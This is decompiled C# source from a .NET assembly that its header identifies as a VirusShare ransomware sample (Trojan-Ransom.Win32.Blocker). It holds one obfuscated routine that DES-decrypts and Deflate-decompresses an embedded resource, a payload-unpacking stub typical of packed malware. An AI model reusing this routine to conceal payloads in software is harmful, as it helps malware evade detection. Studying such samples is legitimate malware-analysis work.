// Decompiled with JetBrains decompiler // Type: A.c723bfb08ed492f620d3f103aea9340c0 // Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe using System; using System.IO; using System.IO.Compression; using System.Reflection; using System.Security.Cryptography; namespace A { internal class c723bfb08ed492f620d3f103aea9340c0 { internal static byte[] c62aa9377688ed67bcfc8a790818c7647( Stream c46bc97527d5b5ecfa7a6ae35f370bef0) { byte num1 = (byte) c46bc97527d5b5ecfa7a6ae35f370bef0.ReadByte(); byte[] numArray = new byte[c46bc97527d5b5ecfa7a6ae35f370bef0.Length - 1L]; c46bc97527d5b5ecfa7a6ae35f370bef0.Read(numArray, 0, numArray.Length); if (((int) num1 & 1) != 0) { DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); byte[] dst1 = new byte[8]; Buffer.BlockCopy((Array) numArray, 0, (Array) dst1, 0, 8); cryptoServiceProvider.IV = dst1; byte[] dst2 = new byte[8]; Buffer.BlockCopy((Array) numArray, 8, (Array) dst2, 0, 8); bool flag = true; foreach (byte num2 in dst2) { if (num2 != (byte) 0) { flag = false; break; } } if (flag) dst2 = Assembly.GetExecutingAssembly().GetName().GetPublicKeyToken(); cryptoServiceProvider.Key = dst2; numArray = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(numArray, 16, numArray.Length - 16); } if (((int) num1 & 2) != 0) { try { MemoryStream memoryStream1 = new MemoryStream(numArray); DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); MemoryStream memoryStream2 = new MemoryStream((int) memoryStream1.Length * 2); int count1 = 1000; byte[] buffer = new byte[count1]; int count2; do { count2 = deflateStream.Read(buffer, 0, count1); if (count2 > 0) memoryStream2.Write(buffer, 0, count2); } while (count2 >= count1); numArray = memoryStream2.ToArray(); } catch (Exception ex) { } } return numArray; } } }